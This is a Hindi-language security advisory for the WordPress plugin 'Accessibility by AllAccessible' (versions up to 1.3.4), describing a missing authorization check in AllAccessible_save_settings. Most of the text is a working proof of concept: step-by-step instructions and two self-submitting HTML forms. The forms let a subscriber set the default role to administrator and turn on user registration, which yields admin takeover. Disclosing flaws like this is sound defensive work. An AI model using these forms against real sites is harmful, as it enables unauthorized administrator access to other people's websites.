
AllAccessible द्वारा अभिगम्यता <= 1.3.4 - प्रमाणित (सब्सक्राइबर+) के लिए प्राधिकरण की कमी जिससे मनमाने विकल्प अपडेट संभव
Accessibility by AllAccessible <= 1.3.4 - प्रमाणित सब्सक्राइबर+ के लिए प्राधिकरण की कमी के कारण मनमाना विकल्प अपडेट
WordPress के लिए Accessibility by AllAccessible प्लगइन में, संस्करण 1.3.4 तक (और इसमें शामिल), 'AllAccessible_save_settings' फ़ंक्शन पर क्षमता जाँच की कमी के कारण डेटा में अनधिकृत संशोधन संभव है, जो विशेषाधिकार वृद्धि का कारण बन सकता है। इससे प्रमाणित हमलावर, सब्सक्राइबर-स्तरीय पहुँच और उससे ऊपर, WordPress साइट पर मनमाने विकल्प अपडेट कर सकते हैं। इसका उपयोग पंजीकरण के लिए डिफ़ॉल्ट भूमिका को व्यवस्थापक में अपडेट करने और उपयोगकर्ता पंजीकरण सक्षम करने के लिए किया जा सकता है, ताकि हमलावर कमजोर साइट पर व्यवस्थापक उपयोगकर्ता पहुँच प्राप्त कर सकें।
एक सब्सक्राइबर के रूप में लॉगिन करें, फिर इस फॉर्म का उपयोग करके डिफ़ॉल्ट भूमिका को व्यवस्थापक बनाएं, और फिर दूसरे फॉर्म का उपयोग करके उपयोगकर्ताओं को पंजीकरण की अनुमति दें।
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="AllAccessible_save_settings" />
<input type="hidden" name="opt_name" value="default_role" />
<input type="hidden" name="opt_value" value="administrator" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="AllAccessible_save_settings" />
<input type="hidden" name="opt_name" value="users_can_register" />
<input type="hidden" name="opt_value" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>